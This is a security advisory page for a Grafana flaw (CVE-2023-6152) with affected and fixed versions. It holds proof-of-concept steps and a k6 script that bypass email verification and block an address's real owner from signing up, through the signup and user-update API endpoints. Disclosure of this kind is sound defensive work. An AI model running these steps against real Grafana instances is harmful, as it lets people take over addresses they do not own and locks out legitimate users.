MediumGHSA-3hv4-r2fm-h27fBIT-grafana-2023-6152CVE-2023-6152

Email Validation Bypass And Preventing Sign Up From Email's Owner

Published 13 Feb 2024 · Updated 7 Aug 2026

Is your project on an affected github.com/grafana/grafana?

Private repo? Upload its lockfile instead, or connect GitHub to check every repo.

Look after several Go apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie

Affected packages

Affected
>=2.5.0 <9.5.16
Fixed in
9.5.16
Update to the fixed version for your release line, for example:go get github.com/grafana/grafana@v9.5.16
Affected
>=10.0.0 <10.0.11
Fixed in
10.0.11
Update to the fixed version for your release line, for example:go get github.com/grafana/grafana@v10.0.11
Affected
>=10.1.0 <10.1.7
Fixed in
10.1.7
Update to the fixed version for your release line, for example:go get github.com/grafana/grafana@v10.1.7
Affected
>=10.2.0 <10.2.4
Fixed in
10.2.4
Update to the fixed version for your release line, for example:go get github.com/grafana/grafana@v10.2.4
Affected
>=10.3.0 <10.3.3
Fixed in
10.3.3
Update to the fixed version for your release line, for example:go get github.com/grafana/grafana@v10.3.3

Details

Summary

Email validation can easily be bypassed because verify_email_enabled option enable email validation at sign up only. A user changing it's email after signing up (and verifying it) can change it without verification in /profile. This can be used to prevent legitimate owner of the email address from signing up.

Another way to prevent email's owner from signing up is by setting Username as an email: When a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated.

![](https://user-images.githubusercontent.com/44581623/282073913-c1a8c20b-b6c3-46eb-840c-9e0dae718a2a.png)

Here user a prevents owner of bar@example.com to signup.

Details

I don't know exact location but this is related to PUT /api/user handler.

PoC

Bypass email validation:

  • Start a new grafana instance using latest version
  • Sign up with email foo@example.
  • Login to that account.
  • Go to profile and change email to bar@example.com
  • That's it, your using an email you don't own.

Prevent email's owner from signing up:

  • Start a new grafana instance using latest version
  • Sign up with email foo@example.
  • Login to that account.
  • Go to profile and change username (not email) to [bar@example.com](mailto:bar@example.com)
  • Signout.
  • Try to sign up with email [b@example.com](mailto:b@example.com)
  • Warning popup "User with same email address already exists"

K6 script (with verify_email_enabled set to false):

import { check, group } from "k6"
import http from "k6/http"

export const options = {
  scenarios: {
    perVuIter: {
      executor: 'per-vu-iterations',
      vus: 1,
      iterations: 1
    }
  }
}

const GRAFANA_URL = __ENV.GRAFANA_URL || "http://localhost:3000"

export default function () {
  group("create user_a with email foo@example.com", () => {
    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({
      "email": "foo@example.com",
      "password": "password"
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200
    })
  })

  group("change user_a login to bar@example.com", () => {
    const response = http.put(`${GRAFANA_URL}/api/user`, JSON.stringify({
      "email": "foo@example.com",
      "login": "bar@example.com", // user_b email.
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200
    })
  })

  http.cookieJar().clear(GRAFANA_URL)

  group("create user_b with email bar@example.com", () => {
    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({
      "email": "bar@example.com",
      "username": "bar@example.com",
      "password": "password"
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200 // fail
    })
  })
}

Impact

Bypass email verification. Prevent legitimate owner from signing up.

Is GHSA-3hv4-r2fm-h27f in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected github.com/grafana/grafana, and gives you the command that fixes it.

More advisories for github.com/grafana/grafana

  • LowCVE-2026-21727Grafana legacy correlations allow cross-tenant disclosure and deletion in github.com/grafana/grafana · 7 Oct 2026
  • LowCVE-2026-42127Grafana: Pre-authentication denial of service in the public dashboard query handler in github.com/grafana/grafana · 28 Sept 2026
  • LowCVE-2026-9029Grafana geomap panel's XYZ tile layer has a sanitize-then-interpolate ordering bug in github.com/grafana/grafana · 28 Sept 2026
  • LowCVE-2026-42129Grafana Loki datasource plugin's callResource handler contains a path traversal vulnerability. in github.com/grafana/grafana · 28 Sept 2026
  • LowCVE-2026-10601Grafana: Path traversal in the Tempo and Loki data source plugins in github.com/grafana/grafana · 28 Sept 2026
  • LowCVE-2026-33381Grafana: Users can generate Service Account tokens after permissions removal in github.com/grafana/grafana · 25 Jun 2026
All 113 advisories for github.com/grafana/grafana

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.